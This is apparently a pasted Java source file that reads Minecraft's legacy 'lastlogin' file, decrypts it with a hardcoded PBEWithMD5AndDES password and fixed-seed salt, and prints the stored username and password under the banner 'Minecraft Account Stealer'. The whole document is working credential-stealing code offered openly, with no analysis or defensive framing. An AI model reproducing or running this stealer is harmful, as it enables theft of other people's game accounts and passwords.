· 7 years ago · Jul 08, 2018, 10:38 PM
1import java.io.DataInputStream;
2import java.io.File;
3import java.io.FileInputStream;
4import java.util.Random;
5import javax.crypto.Cipher;
6import javax.crypto.CipherInputStream;
7import javax.crypto.SecretKey;
8import javax.crypto.SecretKeyFactory;
9import javax.crypto.spec.PBEKeySpec;
10import javax.crypto.spec.PBEParameterSpec;
11
12/*
13* To change this template, choose Tools | Templates
14* and open the template in the editor.
15*/
16
17/**
18*
19* @author AdvanceWolf
20*/
21public class Main {
22
23 public static File getMinecraftDir() {
24 String os = System.getProperty("os.name", "").toLowerCase();
25 String home = System.getProperty("user.home", ".");
26
27 if (os.contains("win")) {
28 String appdata = System.getenv("APPDATA");
29 if (appdata != null) {
30 return new File(appdata, ".minecraft");
31 } else {
32 return new File(home, ".minecraft");
33 }
34 } else if (os.contains("mac")) {
35 return new File(home, "Library/Application Support/minecraft");
36 } else {
37 return new File(home, ".minecraft/");
38 }
39 }
40
41 public static void main(String[] args) {
42 try {
43 Random random = new Random(43287234L);
44 byte[] salt = new byte[8];
45 random.nextBytes(salt);
46 PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
47 SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
48 Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
49 cipher.init(2, pbeKey, pbeParamSpec);
50 File passFile = new File(getMinecraftDir(), "lastlogin");
51 DataInputStream dis = null;
52 if (cipher != null) {
53 dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
54 } else {
55 dis = new DataInputStream(new FileInputStream(passFile));
56 }
57 System.out.println("Minecraft Account Stealer - By AdvanceWolf");
58 System.out.println("Username: " + dis.readUTF());
59 System.out.println("Password: " + dis.readUTF());
60 dis.close();
61 } catch (Exception ex) {
62 ex.printStackTrace();
63 }
64 }
65}